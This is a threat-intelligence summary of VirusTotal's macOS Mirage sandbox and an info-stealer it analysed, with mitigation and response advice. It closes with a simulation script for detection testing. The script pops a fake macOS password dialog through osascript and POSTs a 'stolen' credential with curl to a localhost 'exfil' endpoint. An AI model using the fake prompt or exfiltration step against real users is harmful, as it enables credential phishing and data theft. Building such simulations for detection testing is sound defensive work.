macOS Mirage: Dynamic Analysis and Sigma Detections for Apple Silicon

Summary

VirusTotal has introduced macOS Mirage, a new dynamic analysis sandbox designed specifically for Apple Silicon (ARM64) and macOS 26. The platform delivers high-fidelity behavioral telemetry and automated Sigma detections to identify evolving macOS threats such as info-stealers and credential-phishing malware. It addresses the transition from Intel to ARM64 systems while operating against modern protections including System Integrity Protection (SIP).

Investigation

The report analyzes a macOS info-stealer sample, unix51436504, that uses AppleScript for phishing and multi-stage payloads for persistence and data theft. Researchers traced the malware from an initial deceptive password prompt through LaunchDaemons-based persistence and exfiltration of Keychain, Safari, and Apple Notes data. The sandbox successfully mapped these behaviors to relevant MITRE ATT&CK techniques using Sigma rules.

Mitigation

Although no specific software patches are outlined, the report emphasizes monitoring unauthorized access to sensitive locations such as Keychain databases, TCC.db, and LaunchDaemons. Organizations should detect suspicious use of command-line utilities including osascript, curl, and ditto when executed in unusual contexts. Monitoring multi-stage execution patterns and unexpected file modifications in /tmp/ or user home directories is also critical.

Response

When these behaviors are detected, responders should immediately isolate the affected macOS device to prevent additional data exfiltration. Investigate persistence mechanisms, with particular attention to /Library/LaunchDaemons and user-level LaunchAgents. Perform a comprehensive review of Keychain data, browser credentials, and SSH keys for possible compromise, and reset all exposed sensitive credentials.

Simulation Execution

• Attack Narrative & Commands: An adversary aims to harvest user credentials by presenting a convincing but fake system dialog. The attacker uses osascript to trigger a macOS dialog box. To mimic the specific logic of the detection rule (which looks for a specific typo ‘passwen’), the script will intentionally use that string. Once the user “submits” the fake password, the script uses curl to POST the captured data to a remote listener, simulating the exfiltration phase of an info-stealer.

• Regression Test Script:

  #!/bin/bash
  # Simulation of macOS Info-Stealer Credential Phishing
  
  # 1. Trigger the fake dialog (matches indicator1 and indicator2)
  # Note: Using 'passwen' to trigger the specific logic in the detection rule
  osascript -e 'set passwen to display dialog "System Security Update: Please enter your macOS password to continue" default answer "" with icon caution'
  
  # 2. Simulate exfiltration via curl (matches indicator3)
  # We simulate sending the "stolen" string to a local/remote endpoint
  curl -X POST -d "password=stolen_credential_example" http://localhost:8080/exfil
  
  echo "[+] Simulation complete. Check SIEM for alerts."

• Cleanup Commands:

  # No permanent files were created during this simulation.
  # If any temporary files were used for data staging, they would be removed here.
  rm -f /tmp/stolen_creds.txt